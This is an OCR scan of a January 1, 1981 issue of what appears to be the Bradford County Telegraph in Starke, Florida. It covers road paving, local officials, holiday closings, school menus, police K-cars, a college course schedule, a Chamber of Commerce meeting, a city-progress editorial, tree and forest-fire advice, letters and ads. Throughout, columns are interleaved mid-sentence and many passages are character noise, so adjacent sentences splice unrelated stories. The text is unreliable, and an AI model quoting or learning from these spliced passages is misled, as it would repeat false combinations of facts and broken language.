Gainesville to become a certified tax July 1948 Kelly was forced under ., collector.She state law to. resign as supervisor of was born and raised in the registration when he decided to run .. .. Lawtey area. She is the daughter of for the vacant tax collector's post. --- -- --------- -- --- ----- - THURSDAY, JANUARY I the late George P. Shuford and Mrs. Kelly and former tax assessor NEWYEARSDAY Just a Country Road.. Eva Shuford of Lawtey. l\Jrs. Hall (property appraiser) Gene Long opposed "Happy' New Year! lives at 409 East Jackson Street in each other in 1948. Kelly winn Crawford Road has been built up high by the county In The pan,which graded sloping ditches, was the secret to Starke with her husband, Bobby Hall, ing. Four years later, in 19S2 Long MONDAYJANUARYSl an effort to keep it was washing;out. County crewmen! usbuilding the road says Hodges.cd a building contractor and her was elected tax assessor. , l BRADFORDCOUNTYCOMMISSIONERS the entire 80 to 120 foot> right-of-way and hauled dirt to Florida Power & Light has let the contract for power daughter! Donna Carter. Only once since 1948 has Kelly faced k the roadbed with II rented pan costing $::1100 per month. poles to be moved from the roadway. Hodges( Hays. It will Hall defeated three other opponentsin opposition for the tax collector post. .. r Meeting 1:30A.u..1 a.m. The road looks more like a freeway than a country road i cost the county some 910,000 to move the pales about half the first primary last September to In I 1960 the veteran Kelly defeatedJim i what. ---_,_"'I_'&L n__, orillimllv wanted__ ,,'n._ to._ m.move. the union. win the post to succeed Kelly. Kelly Chastain for re-election to a CITY OF LAWTEY supported her in the election cam fourth term. V. Council Meeting finally, like the road maybe paved by machine from Ring Power for$3,900 a Crawford Road, number NW 37th paign. 7:30 p.m. the middle of 1981. month to move the tons of; gravel Ave. where it leaves CR-16 and nam ;{ "That's a project I'd like to get necessary. That machine has. been ed NW 23rd Street where it leaves did f TUESDAY JANUARY 4 finished' County ,Commissioner the secret to getting the dirt moved, Lawtey Road. . STARKE CITY COUNCIL Chairman E.W. Hodges said Monday, Hodges says. The crew worked Saturdays Holiday Closings...... Meeting7:10 p.m.. Dec. 29, as he drove over the smooth to get the most use of the Work has been progressing rapidly . ..' packed dirt road. machine,and to take advantage of the with the dry weather.and rented pan t RAIFORD CITY COUNCIL "People out here really don't know dry weather. Hodges says. The contract to have the Most of this area's major businesses will be closed New Year's Day Thursday / f. Meeting-1:30 what it's like to get to town Three concrete bridges have been Florida Power & Light poles moved; Jan. 1.Clerk . p.m.t' (conveniently)," Hodges! said. The installed at a -cost of some $50,000 at a cost of some10,000., has beenreleased of the Court Gilbert S. Gib) Brown received a telephone call1\Ion- T.HURSDAYJANUARYJB"SQUARE road will be a real improvement to from a Georgia firm. The' bridgesdon't this week, he added.'' day afternoon Dec. 29, from the office of Chief Judge Theron A. Yawn, Jr. residents used to water running meet Florida of- : that he was issuing an order dosing the courthouse in Starke on both Thurs.day 1 Department ' DANCING : .Alter that the will seek bids , across the road In wet periods and to' Transportation specifications, county and Friday Jan. 1 and 2. The courthouse; will be closed from Wednesday - Strawberry Swinger! on contracts for the limerock and Dec. 31, at 5 until Jan. 3, at 8 when the offices ' j Masonic Hall :deep mud every time it rains hard. In Hodges points out, but they do. meet asphalt. Hodges sees the paving com, p.m. Monday, a.m. will f wet times' residents along the the road' ,reopen at their regular limes. . very ; Georgia' department' - Class and Club around somewhere the middleof pleted 713D p.m.. road have had to use tractors to get specifications which Is good enough 1981. City Hall in Starke will be closed Thursday'and will reopen Friday Jan. 2, ;. out, or leave their cars on the for the at 8:30: a.m. Caller county commission here. Mall Wimpy, highway'and walk out. "We won't have to worry about The county decided to get into the The U.S. Post Office in Marke will be closed all day. New Year's Day but business itself much paving as as Work the road started when will reopen on a regular schedule on Friday. on was them In our Hodges told the f farmer commissioner Dave Shuford Telegraph lifetimes' '. possible, when paving of the 1.3 mile All thiee! banks in Starke. the Community State Bank Florida Bank at _ reporter c/fnd 01 l wh-, was in charge of the Road Depart The three bridges would cost was long contracted Pleasant Church out and Grove it cost some'Road Statke: and Fortune Federal,will be closed New Year's Day and reopen on a -JE..: . -r ment. Hodges continued the work in several regular schedule Friday Jan. 2. .:: : R.oltor* hundred thousands of dollars ; ';; $290,000 to back In 1977. Since J 762-3931 the past year h. served as Road if 'subcontracted out, to build to pave Bradford County School Board offices will be closed Jan. and 2 and wilti: -.:::.-::. ((904)) then the commission has county pur- Monday,Jan. 5, for hours. Students until . LOTS ACRIAOIAUTHOIMZIO Department chairman. When the Florida specifications. reopen regular are on holiday Mon HOMIS commission reorganized ''recently are 'chased more grading equipment and day, Jan: 3, when all schools will reconvene on a regular schedule. . Of All* The: pre-fab concrete bridges I grading Its roads to . begun own Hodges became chairman and Commissioner erected in sections by the Georgia The Telegraph office will be closed Thursday but will reopen for regular C. ._ I'dernes- Maxie Carter took firm. An $11,000 price has been quoted specification for paving. business hours Friday at 8 a.m. and will be open until S p.m. .. over the Road Department. for Installation of a two-section The first try was on Flume Road, Winn-Dixie Supermarket will be open on New Year's Day. PlgglyWigglland Log Homej Work on Crawford Road has been bridge. ,. which runs between SR-18 and SR-230 Food Fair will be closed on New Year's Day and. will reopen on a regular I done ,entirely by county crewmen, Workmen are finishing a five- east of Starke, when DuPont wanted schedule Friday, Jan. 2. . 301 N. '.0. BOH 12** basically three menv Hwy. low .y, ri. 33053 The.commission rented a dirt hauling about halfway between the,end*:'of: when..... Ms".dredge,- ,was crossing Sft-18. Thursday,,Jan 1, from 10 a.m. to 7 p.m.. . ..,. .1 ... .,, .. .. ._ ... -_,, _.._....,.t's -'--""" --- -'' =- """ -- -"" "' -i""+. .... ": : : :i7'''' ' - -----7';::;;::; "" ::nN..a.dr..n..t,; : : ";::ann::::=:::: :: : ; __........._ .. 'oW" --'-': ; "c'- - 0 ' -: .r. ." '. l lKCars rTSchool : ,\., : ,''-" :- . ., Page 2TKLEGKAPII January I. ISM w .. Lunch . .. ' Menus , \ , t\ Monday Jan. St Hamburgers on bun, r r lettuce/tomato/pickle, French fries, banana, and milk. Tuesday. Jan. 6: Beef-a-ronl, cheese: sc atix, garden salad. fruit cup, hot 4 rolls and milk. I Wednesday. Jan. 7 Beefvegetablesoup Vt peanut butter sandwich I crackers, fruit cup, cookie, and . milk. Thursday, Jan. 8: Fried chicken, rice t & gravy, green beans, pear half, ;.. ''i; hot rolls, and milk. i' Friday.Jan.9: Beans& wetners,cab rl bage slaw, peaches, biscuits I II : r;; -- ,, w/peanut butter cup, and milk.. I t. Bradford High SchoolREGULAR I r May the days ahead ,, / //fffJfJf////////// V. ( __ I Monday mashed Jan.potatoes S: Hamburger green beans gravy, hot, bring to all our 'i .,1 . biscuits, peach half, cookie, and friends success, I milk. . Tuesday. Jan. 6: Spaghetti w/meat good health, and sauce, cheese stix, garden salad French bread, apple crisp, and a full measure of jII/ Wednesday.milk. Jan. 7 Chicken St rice, happiness. ,/ English peas, yellow cake w/fruit Thank you for topping, cheese rolls( and milk. Performing Here... Thursday Jan. 8: Fried chicken, your patronage mashed potatoes & gravy, mixed Assistant Police Chief Harold Crews right, gets ready of the Police Department's new Plymouth: K-cars Just put vegetables, hot rolls,key lime pie, " to squire Police Chief Jimmy Bowen around Starke in one Into service. and milk. I. ifU Friday Jan.9: Tuna salad on lettuce, City Leases 3 New Chrysler K CarsZipping and ed crackers fruit milk.,, whole cinnamon kernel swirl corn bread, mix- around town in three new Plymouth Reliant The new K-car was first introduced to Starke citizens in AL-A-CARTE compact K-Cars Starke police officers are getting over the Dec. 6 Christmas parade. The two others joined the Monday, Jan.. Hamburgers, pizza, twice the mileage they got with the old vehicles. police fleet Dec. 8 and 9. French fries, onion rings I The new K-cars are averaging between 17 and 23 miles The chief pointed out that if gasoline goes to $1.50 or$2 milkshakes. Florida Bank at Starke per gallon in the around-town driving, says Police Chief per gallon this summer, as statewide rumors predict the Tuesday. Jan 6: Cheeseburgers, pizza - Jimmy Bowen. compared to 7 to 8 mpg officers got with new K-cars should save Starke hundreds of dollars on French fries milkshakes. the old cars. gasoline and oil. The new K-car, which Is selling Well is Wednesday. Jan. 7: Pizza. Hamburgers - The new cars handle well and have good pickup, the the hope Chrysler Corp. has to remain in business. French fries, chief says. Chrysler's sales have been improving lately because of milkshakes. Comer of Jefferson & Clark Bowen said he leased the three K-cars from Hawes the new K-cars: while sales of Ford and General Motorsare Thursday, Jan. 8: Cheeseburgers, Chrysler-Plymouth in Gainesville for a 12-month period.I on the decline. Pizza, French fries, onion rings, didn't want to purchase the cars without knowing how OPEC oil ministers meeting in Bali have just Increasedthe milkshakes. thev operated" Bowen says. price of crude oil 10 percent. Friday.Jan. 9: Cheeseburgers, hamburgers 964-7050 ,French fries, milkshakes. Va Price Sale The Office at Shop \ll, I 11'W. Call St. i ST. JOHNS RIVER Hundreds of Christmasand Items Other Reduced Gilt COMMUNITY COLLEGETERM O T THara's THE BRADFOKD ... II EVENING/OFF-CAMPUS Publl.h.d.u.ry COUNTY TELEGRAPH Thortdoy o SCHEDULE, 1980-1981 .t 13.W.C.II Strt """ (A State supported community colUg serving' Clay, Putnam and St. Johns Counties) Stork.. Florida 32MI / \ \ ' Second Clots pottag.paid at Stark,FloridaSubscription to 365 shining and bright days ahead I CLASSES BEGIN: January 5. 1981 CLASSES END: April 23. 1981) *ot. i LINE . ? n-1 1 H' M 1 In trad ar.ai f x.00 p.r yr jl THOMAS "GATE" AUTO PARTS NO. COURSE NO. TITLE ' $3.00 six months tSU I CREOIT,, TIME ri! a ;.4t:'jc D Y I" I.T 'i.talde tr.d.eras$14.00 p.ryaar DOYLE & BRENDA THOMAS AND FRANK PATTERSON PALATKA CAMPUS $3.50 six months 0110 CEB1011 Introduction To Business 3 7:00-9:45: : 0120 ACC2029 Accounting Practical II 3 7:00-9:45: : TM 0121 BUL211'2 Business Law II ; 3 7:00-9:45: ThTh - 0122 MAN1943 Work Experience I 3 7:00-7:50: T 0123 MAN2300 Personnel Management 3 700.945: 0124 MAN2944 Work Experience 3 7:00-7:50 T 0191 REE 1000 Course I Real Estate Principles and Practices 3 7:00-9:45 T 0125 REE2041SESIIOO Course II Real Estate Principles 1L Practices 3 7:00-9:45 M 0126 Beginning Typewriting 2 7:09-9:45 M 1 HAPlY 0127 SES1IIO Intermediate Typewriting 2 7:00-9:45 W 0128 SES2160 Word Processing I , ::1 '7:00-9:45: ':""""" M 0129 SES2161 Word Processing II fct' 7:009:4v} .w, ';'j1i1-1' NEW 0130 ENC113Composition II '{ 7-00.9:4t': l fil 0131 ENL2023 English Literature II :S .:710J: 9:43\ ; {, 1 \ 0132 SPC2601 Advanced Public Speaking't, b'' ) T' .. ; 0133 SPC2594XMUNI310W Forensics laboratory j:00:9:4j' ,I' , 41' : ttARI' \ \ : 0135 Viking! Singers ::1,Lt 'f(Of1.9) ) : . I ' # '" f0136 MUN1310X Viking! Singers V ijt(,'--4"" 0138 0137 MUNI3IOYMUNI Viking, Singers 1. ,.1v-'*.nOO4.4. ,. , 31 OZ Viking Singers ,: ;1 XiQ1tA9:4 .. ; i', 0144 ART I I IOC Ceramics I ::171(10.94: : $ : 0145 ARTI112CART2113C Ceramics '- :: '; ;: ff1J07! " ,, 0144 Ceramics III 3 =OQgT:4: 1 '''1 f , 0147 ART2 II$C Ceramics ", 3': ;'OQ ':4J- TIt . 0148 MUH2111 Music History 3, ,:.;): 3;'-:45 W , )fl'j3P f.:7i f.. 0150 AMH1420 Florida Heritage : a':. .7:00;:45 M . 0152 CLP2001 Understanding Human Behavior 3' ?/./7:00-9:45: M 0153: INR2002 International Relations 3 .700-9:4; T i <) ,-.J i' 0160 MCF11I3 Fundamental Mathematics 3 7:00.9:4I I Th 0170 PSC1341 Physical Science 3 7:00-9:4 "sly M :: [bl "1 0172 PSCI394LLab for Physical Science 1 7:00-8:50 Th 0180 CCJ1530Juve'nlleO.Unquency Control & Prevention 3 7:00-9:45 M i 0182 MAN1943 Experience'I (Law Enforcement / ,i 'I reWork Only) 3' 4:00-4:50: M.; a1 .1' 0183 MAN2944 ,. Experience II (law Enforcement Only) 34:004:50: W' bW 0184 COP1024 Personal Computing With Microcomputers 2 7:00-8:50: 'M 0190 HES1000 Health' Community 2 7:00-8:50: M s KEYSTONE HEIGHTS .,v 0401 ENC1136 Composition II 3 7:00-9:45 M i '*', .\ '. . j' EVENING/OFF CAMPUS: REGISTRATION 4 .jI! LOCATION REGISTRATION DATES TIMES Palatka 8 ',. -, January 5. 6:00-8:00: : p.m. Keystone Heights High School January 5 6:00-8:00: It was a pleasure to serve you during the past p.m. year. To all our friends we say happy New Year ,: PalatVa DAY/OFF CAMPUS REGISTRATION. Campus Jon 2 ary 8:30: a.m.-,3:30: p.m. ., \ ALL lEES are due at time of registration. Text books may be purchased during evening registration. at ' all .locations. . EVENING STUDENTS may register at DAY REGISTRATIONS as listed above. TG& Y JANUARY 2 Is the.last. day to register for. DAY classes. WITHOUT late registration fee payment. " : i TUITION AND FEES . ! .. , "110.00 , !} '.' '.' ., .-.. . ,'. .. . .Audit fee credit hour familycenters $14.00. .., ., .', .11./. .. . .. .. Florida resid.rtsfeep.rcredit per hour [ $30.OG, ..... ., .. .".: ., .... ,? .. ..,. ., .'. .Out-of-Stet. or,foreign student fee per credit hour fi.. ?. " ..... ... .> .' -.' ., . ... .,. . . .. ...'. .'. .Laboratory fee 1I0.00. ,:... .. .. ., ... ... Application fee (only If this fee has n.verb..n paid .' ** .W' 'f .'. .,... ...,....., ; .... ,. .f. ,.a.-. ; . '. ..Examination. .) . SENIOR. CITIZENS SPECIAL NOTICE Bradford Square Shopping Center . Senior adults 60 years of age or older may apply for admission and register for classes, either day or evening at NO COST on a "t pace available" basis.i . '. -., ''''- ...... ;, '_.,. -% c. - L . -- - -- taurr. - - .. _J }! I I 4, 'l \, \ January t 1.1981 TELEGRAPH Page 3I A I What is Chamber Doing to Promote Industry inBradford? I What is the Chamber of Commece nors at their luncheon meeting Thursday J jects in 1980 but questioned If the fair, and dealing with new people in Platt who questioned who the put money up front, or want to pay no doing to promote Bradford County Dec. 11, in the Garden Chamber or the Bradford County the community."We Chamber Is trying to reach and why? taxes the first few years while getting to induce Industry to locate here asked Restaurant. What has the Chamber Development Authority is charged should have a chamber of com "The Chamber reacts to problems, started,Wilson said.The Chamber attempts John Miller co-publisher of the done in I960? What will it do in 1981? with inducing industry to move into merce because we need an informa- as it should," Platt said. to cooperate to the utmost Bradford County Telegraph, of the "We do have something .to sell in the area. tion center in Bradford County? questioned "John Miller's question what the with every industrial prospect giving Board of Governors df the Starke- Bradford County" said the co- "1 think it's due pretty much to the Miller. Chamber is doing to initiate, rather the benefit of the doubt about how Bradford County Chamber of Com- publisher and advertising manager of times we're having," Norman said, "That's all part of it, too, rather than respond" he said. solid the prospect might be. Wilson merce. the local weekly newspaper. predicting that 1981 looks' like it will than selling Bradford County"Judge "My question: Is that wanted?" said he provides written data and "What does the Chamber of Commerce President Ray Norman said the be pretty much the same way. Sanders said noting the Chamber Judge Sanders asked."I shows possible location sites to pro- : do?" Miller asked the Cover Chamber has completed no big pro- "1 really feel at times that I've assists In finding housing for new wonder if we really know what spects. failed as president this year," Nor residents and assists people with their the community wants Idon't.' said "So you do have partial answer for man said but added the economy problems.L.M. Platt, John,' said Platt. Krwonians To Show must also be taken into consideration.Count Gaines suggested printed Growth In Bradford) is projected to "A partial answer," Wilson agreed, Sponsor Magic / Judge Elzie Sanders ques- cards be placed in local motel roomsto be among the slowest! In the state, "1 don't say its the solution." I / tioned if there is local interest in get advertise the county as a good Platt noted. "We probably do more to help the To Raise Funds For for Special OlympicsThe ting more industry here. place to open a business or to live, and The county doesn't want Industry if individual citizen than any chamberof "The board (of governors) reflects giving a short history of the county. it's undesirable, said Hazel Hardy. commerce I've ever been connected what business is Interested in I don't Hazel Hardy said a "very attrac- "If we don't( want industry we'll be with" Wilson) said. Starke Kiwanis Club has an- used ,for disadvantaged youth and know if the people are that Interestedin tive brochure caught my eye" at the worse than the slowest," said Floyd "OK, why don't you give this info to .nounced plans to sponsor the nationally special groups. selling Bradford County the Florida-Alabama line. Chamber Settles manager of TG&Y. the newspaper once or twice a;year?" known show MAGIC TIME CIR- Although phone solicitations have judge said. manager Bill Wilson admitted, under The Chamber works on getting Industry asked Settles. Wilson said the CUS, to help raise funds for Bradford now ended, the Kiwanis Club The chamber was portrayed as a questioning, that the Chamber produced primarily through the Florida Chamber does submit articles to the County Special Olympics and local members will be selling advancedsale service organization, helping In such the colorful brochure touting Department of Commerce) said newspaper. The chamber questioned community service projects The priced adult and child tickets activities as the Civitan blood drives Bradford living Manager Bill Wilson.The county gets whether the articles are read. Magic Show will be presented at 6 during January here organizing the annual "I'm not trying to sound negative," 10 to 15 referrals a year. Christmas the annual county said DuPont Plant Manager Ken want the to more CHAMBER on pg. MAJUT.T March 24, 1931 in the Bradford parade Many prospects county High School Auditorium. _ In announcing the Magic Show, Lee Hardenbrook, the Kiwanis Club's Magic Show chairman said there will " be a discount for all tickets purchased c. . in advance. This unique show is packed \ ,, . with talented acts from all cornersof .:..,Y.' {J:) the globe. Some of the full-stage illusions presented will be: Houdini ,n' FI Trunk Escape, Sawing a Lady in half, " French Guillotine, Floating Lady, and seldom seen "Satan" the African Leopard. The 99-minute( showis designed to entertain the. entire "family. Proceeds from the show will be used I by the Kiwanis Club to help support - the Bradford County Special Olympics program. In addition, some Florida National funds will assist the newly formed Key Glub at Bradford High School. Key Club is the Kiwanis sponsored high school organization with over 6,000 clubs and 95,000 members in the nine Chairman Kiwanis countries.Club Hardenbrook has been states selling that dis- than oust tickets through phone solicitations get mare for the past two weeks. These yau tickets may be used by any child under 13 or donated to Kiwanis to be LEGALNOTICE , 'I. NO .. / ". ', :. '- ;: .INTENTIONTO REGISTER OF <. ,,' 'I'. .::. '.. ,-,.. .i, : ' -, .. .' . ( . FICTITIOUS .:. ;.' NAME I . :: Pursuant lo Section ::, : 86S.C9 Florida Statutes ,. : k 'or,.hI... :\ :: nolle I. hereby given It,:, : :: that the undersigned I .\:, .. ... .. ;t Paul l Faulkner, Stark, 1'' H. 4iL fq i Florida 32091 and SusanM. .iV (:;,1..i.: ; "": ;I} t 1\ ... ,,tl \ kf t.I: t j .- .' Faulkner..Ave.,.', 23OS Stark N.T.mpl. ..' ___ __. ...._...,.....__............r.-.I..,.', .. ., ..;..'...",..;.,.....,,,'i..#;...,....,......_.....,...... _......_....__...'\ ;;;..'J..r_.r'. '.I','y L f: _.it .1 A., ,.. .- .' I:: Fla. 32091, co-owners. .. .1! ,S1 ., -<. : 1 ..,{t" 1'"Wr'/ ,:-......<.'... .. ". ... :: business ERA n " doing a* \ , :, .:" \\f'J't\ / I 1 . FAULKNER REACT231 ,, r .. ', / , ; \ 'Ii; ? i. ,';' ..' \ \ !'r"t'.J; ' W. Lafayette St., Stark. t. '. "i'T"< .' .) . . Fl. 32091 Intends to :: ':. ; .. - " register said fictitious ,''. ') 'f (r i, v . ' , , name under the provisions / /j/I\ i. > ' of aforesaid .' tU. '.'i1.] statute.Dated this Wrh daof /,1'' .i :f December, A.D.. 1930 in . Starke, Florida. Ill 4tpd .,. ! 1/22. ''., /,\ ...... ...f.!, h,,, t. ,, ......." .' t \ Yau l NO Plus. t 7 7YAt + 1I' <' i \ : '; ., : Florida National y t; get more than just an ordinary NOW ?s I Interest-On-Checking Acca nt-you get NOW Plus. It's NOW-Plus I ez .. HJ the resources of a statewide banking organization. Its a NOW-Plus the j highest: t rest rate allowedJ; by law. No bank or savings and loan can J ,, . .3 ! 'rrfore. . pay .you . 1 1 I IH J So, if you'd like to make your checking a lot more' interesting- H"/ Qan r,come in today and open. ''a NOW Plus! .: , ,-,,' . ; I . ., . - r ,. -- IIf.; : J ,. .. ;/ .' .", '". ..:. . 1 .' .. ..., 'j. L"' :' .." III.., .,. ; ?'* :t 'V :: . { . j loll ',: ; jJ _ , r .. '1'1 , J HAPPY NEW YEAItl I We hop! you art blessed with . ,I happiness and success.Brown's . 1 I l i narida Bank al Starke 3 3 Heat . Jefferson at Clark Street, Starke, Florida 32091 904/964-7050 i ! & Air, Inc. Member FDIC. 3 3 I . .. 3.. .' oj "" .. 11-- ..; ... ... '. :3 : " 226 # ; S. Walnut ,,!I. .. if.!.. .' .,.",,''h"Y; ..r ,.' .t I'f: Yo, .., ,a r' j"(1"f' r. .. .,' "' . I -:: , , : . II I Starke ,.. '.. ..;......! ,1.1 1 964-7731 -.4. A.I ;;; , 1980. Florida National Banks of Florida. Inc. 1j I 1 .. ., ,- .,. ----r-.'>J.- ..........--- .r-------: '_. ."', ,. ",.... -."'. __.....-'----=- ;:"'- ;:-- -"'':::: ,..':;"' 4' . ... ." .", ', .-,,> ._. .. .- .-.......--- -...... -...... .. -, '. -III- U- 0.;.-.. .- "-.-...-.----.-.-....,,- -- -- -.. -. -f-: ':.-; ."'. !!'"'!' "' -. w! ........-..._ -' -;- .. .... ...;\ ,, .' -, ; "r ,< '. \ fage4A TELEGRAPH January 1.1981 . .' : :. , J, j . , .. " .,' .. I . - \. < m t'" CITY OF STAftKE Need A New Year Resolution? Plant a Tree 1 tap root* Is to find a water supply and PROGRISSUPDATEEDITORIAL If you've used up all the old time- The forester says Floridians in some high, dry locations such u worn New Year's Resolutions and are believe a lot of other things about root may grow to a depth of 3Q feet. looking for something a bit different, their trees which are far from the why not resolve to... -- truth. Here are the facts as he sees lot of sand.or dirt Don't dump a them, and some advice gained from smother its around tree,or you may Plant a tree I his years of experience: . root system. We're cutting down shade trees Most insects, as well as bacteria is almost never fatal to I'' much faster than they're being viruses, and fungi found on trees are Pruning A tree vital. m* On a scale of 1 to 15, the Cityof No. 8-Act on the recommendation planted. With winter getting in its beneficial, rather than harmful. tree, but roots than are a third of iU riM;? Starke would rate an 11 for of the City Bond first hard licks right now, the shade Trees are usually not destroyed by insect die if more mass is cut away. missed-but wait until the beetle,which might not be pests except Ips completing or making a start Trustees that qualifications of , attacks trees. And even next summer when it's broiling hot only pine toward completion, of a list of the director of utilities be again and the sun's reflected rays then, the pine must have been wounded You do not need special make equipmentto Filter tile AIr' rainfall to sure New Year's resolutions upgraded with the and weakened in before measure the suggested possibility bounce off everything from some way trees and other plants are get ( published on January 3, or employing an electrical or for those fortunate to the beetle can invade it. ting your adequate moisture.Just set a coffee except enough 1980, in this column. That, in industrial engineer with full be in point blank range of an air con- can in the yard and measure the our opinion, is real progressand authority over the entire utili- 1 ditioning unit. And with the ever- ; rainfall by the inch. we commend the City ty system. J threatening energy shortage still un- Commission on its efforts during 1 solved, who knows when even this Although this recommendation source of relief from the heat may be OrO -' - the 12 months.At . past has not been followed exactly I curtailed or eliminated? , the time of publicationthe as written above, a solu- 1 1 1 1i c \\ FORESTRY with homes and Even businesses New Year's Resolution tion found dap 1980 was by employing 0 equipped with air conditioning,shade may have been con Merrill Dees, longtime power trees can cut down materially on the IN DKABIORD COUNTY sidered somewhat controversial plant manager, to fill the position Protect Soil from Drying, Erosion power required for cooling. Evaporation F and was credited with ( of utilities director witl from a single tree that is properly y providing the spark that approval of the bond trusteesNo. pavements to the top of your(perhaps watered can produce an estimated 4 O O by Mark G. Fries touched off a Channel 4 television balding) head. That shade tree you cooling effect of more than a millionBTU's 9-Make an energy efficiency should have planted in January wouldbe equal to ten room-sized air program on Starke that study throughout the mighty welcome then. Especiallyif conditioners operating 20 hours a day. commended and others Deaden Noise some we have another scorcher like last city, with the objective of saving Most believe that trees must considered in a category with when the soared to people losses in summer mercury In What is the personal p of lie of those by cutting be the winter castor oil. Be that as it may:, it power highs from 95 to 108 on 67 days during planted months whenthey're Some people cut down perfectly shadowy characters who deliberatelyset the distribution system. July, August, and September. dormant but forester Frank good trees because of attacks by webworms is sometimes good to 'see about one-third of Florida's Hill of Duval County, says transplanting which! do not kill trees. " ourselves as others see us, Such a study is now being Every year,more and more trees in can be done any time of year if thousands of forest fires each year? and no matter who or what i is conducted by the North Cen- U.S. towns and cities are replaced by you make sure to get the entire root Fire is not fatal]to all trees. In fact, :-1. ', ''. ti>r sure.1 It is responsible for the progress tral Florida Regional Plann- more and more concrete, and our structure when digging the tree up, the use of "controlled fire" in Florida that the typical one is male, and bed for suspec-cu a the made in 1980, we submit that downtown business districts and prepare proper has made pine trees more prolific by and has the around 21 ing Council at the request of suburan centers become transplant. If the season Is dry you eliminating hardwoods which cannot white, approvalof shopping batting 11 out of a possible 15isn't the those around him in setting the the Commission. The must Keep tree well watered untilit City sweat boxes hardly fit for human tolerate fire. Pines took over originally woods fire. bad. study should be completed habitation between June and October, is established. ( because of accidental fires but now on For the record, let us run within the next few months.No. the pine is maintained and encouraged But this picture is not provable and down the list and see what's Letters the Editor by fires set for this purpose supplies little information ,in any! . 10-Explore the advan- to event. happened in the past 12 mon- -A well established tree needs no ( ) of ths: tages or disadvantages of a watering, since it tends to adjust to Beginning January 1, the Florida city manager type government - and In.te1li Division of will begin collecting ' No.1 on the January 1980 SEESNONEED ence. After all, no Forestry FOR TV CENSORSHIP "co mlttee' can get us into Heaven. t// more personal data on list was to update and rewritethe woodsburners.Fire . This matter will be of one Muse charter and Pat present city In regard to recent concern over the of the code of ordinances. Althoughthis responsibilities new cable T.V. expressed in the Starke, Fla. Control Chief Mike Long said has not been accomplished Charter Revision Committee, Telegraph, I would like to say I feel no that the additional facts would help to which will make a recommendation need for a "censoring committee". Dear Editor: develop more effective and less costly as yet, it is good to note that No. 89 would like to ' Carvin Lodge fire campaignsOther later to the city Com- I believe as for options or alter prevention final appointments to the revision mission.No. natives we have several) don't owna thank the City of Starke and the Brad- states are following Florida Into a committee will be made TV; 2) use the off-on switch; 3) use ford County Commissioners for helping uniform fire data system recommended at the January 6 Commission 11-Comply 100 percent the channel selector to change programs us give out 9 baskets to( the needy by the National Wildfire meeting, with study sessions with the Florida Sunshine ; 4) don't' hook up to cable. for clothing Christmas and we would and especially all the nice like Coordinating Group. . ' There is also T.V. Guide to help scheduled to start soon Law, and make all informa- decide which of the above you want you to to thank Piggly Wiggly for furnishingpart The stakes in forest fire burning are thereafter.No. tion in the City Hall readily do. All of these options are preferableto of the chicken< and candy in the high. Florida had 6,900 fires last year available to the public and the censorship.I baskets. that caused millions of dollars- 2 on the list called for believe that a great deal of We especially thank Commissioner damage. About BO( percent were caus- the repair of broken water press. privately owned stations (Channels 4, Homer Hart for attending the U.Y.A. Buffer Excess! Temperaturesthe ed by people,with lightning as the only -' meters, and a stop to billing So far as this paper has .12 and 20) show junk. Network executives party and Lynn Lawson, Director of important natural, ausggtartjift) some customers for the these control the.selection,with at the Santa Fe College;?the staff of the. type of soil in which it grows?Too only 10 percent. ' knowledge provisions \\ye for other things.Hhah 'culture1-' DayCareCenter: .1 HsrdwitkTeylor, Jk>b much).watering maybe"harmful{ .,bib aril 10 minimum water. usage. ..argjiow being.cpmplied ,W &b. "ast ,'inC rm tll1n or'gb d.entertaln-,.. DirafltorjiWobla; \ / JUe. Qity Clerk,, i i. drownngathqrQptj! ( : 10 it ,no,;b//ua., I TwfHhlrd.IJlOe "1the p1lllJiD; :: because their meters l had not Merrill Edwards and worship fires resulted from ment. Public television (Channels 5 accident or misjudgment - With 11 of the "want list"either could not be read. master, Harold Wonton. someone's or and 7) on the other hand have all of on part. These, fulfilled or in the process the above. We still have things to pass out at Cutting the tap root, in itself, will causes typically include the careless 703 Florida Street in Starke.If anyone not kill a tree. The only purpose of the of fulfilled being the only discarding of Again-while this work has Nevertheless, we are a free coun a lighted cigarette areas still left hanging fire try. Thank God. We are not forced to. has any more clothing to give away escape of a cleanup fire sparks from not been completed, the watch anything. for a good cause, call 964-6514 or the catalytic converter on replacement of broken and are: I believe it is time we assume more 964-8458 and someone will pick them Forty-eight Pintsof somebody's car, and so on. . non-functioning water metersis Enforcing the city or- personal responsibility. It !is a sign of all up. W.J.Lee an ongoing project, and the dinances on nuisance dogs maturity. Let's use our own minds Harold Wonton-- Blood Donated,I'' caused The other fires are one-third set deliberatejV'yflflA of the people- number of customers being and strengthening the or- .I malice and in violation of tM WV>, viwii billed for the minimum use of dinances where needed. The .!. During DecemberFortyeight >i<!iVJ3o on) water is being reduced. present ordinances are still f'I : '\4! Personal dat..wiil not being adequately enforced County Agents ByNotebook both types of'person he 41.f- ficulties t1Se No. 3 resolution was for and the new Revision I pints of 'blood were lawbreakers".training of-getting! * v Bobby donated to the Chamber of Com ?t al making a study of Committee should address , personnel merce's account with the Civitan has.bee RiV s city employees, defining job itself to this problem. tTa y for ". ,+ Blood Bank in Gainesville when the '450 proteifst0 tre- tt qualifications, job descrip phone: 4-6280 ;;.. r. bloodmobile made its last visit to Rangers, vyhft'assistance ati t tion, salary schedules, paid Enforce the clean-up or- Extension>> :' "" Starke this month. of m s'vestigators' o! Q i dinance .p L concerning unsightlyand , holidays, fringe benefits, etc. r a unsanitary vacant property The 48 pints beat the previous total and unused buildings. Whether you are beginning a landscape 0J.The fourth variation is the container of 41 pints donated the two months Much o'f tl"dew 1 to The North Central Florida or adding to an existing one, crown plant, where the root previous. Chamber executive Bill ;sought will ini away Regional( Planning Councilhas These ordinances, whichare your major expenses will probably be system is not disturbed until planting Wilson told the Board of Governors of when$( in purchasing trees and shrubs. So Ime. hiking > ' the, Starke-Bradford Chamber of oo{ ? ? motoring? n- completed its second draftof not as strong as they it's important that you know how to Commerce at their Dec. 11 luncheon 'ching. farmltiigrpulpwood r ,ctimberingi or such< a study and hearingswill should be, are not being adequately take care of new shrubbery from the A plant may be prepared in any of meeting in the Garden Restaurant. 'Anyone of these 1 I likely be held in February enforced at the pre- day you bring it home from the :;these four( ways. The exact method of of wildfir dlcu- - before putting the recommendations sent time. The Charter Revision nursery. First and foremost, this packaging will depend on the nujMuuin Bradford County is ' into effect.No.4Contract. Committee should also means correct planting methods. In (Characteristics of each< particular 'welcome'' use !the Chamber account Another serfeOfqolve i fact the way you plant new trees and .plant, as well as production and shipping whets family member needs blood > motive orlth> r with the address itself to this problem. shrubs has a lot to do with the way considerations.. For the most "Well'! 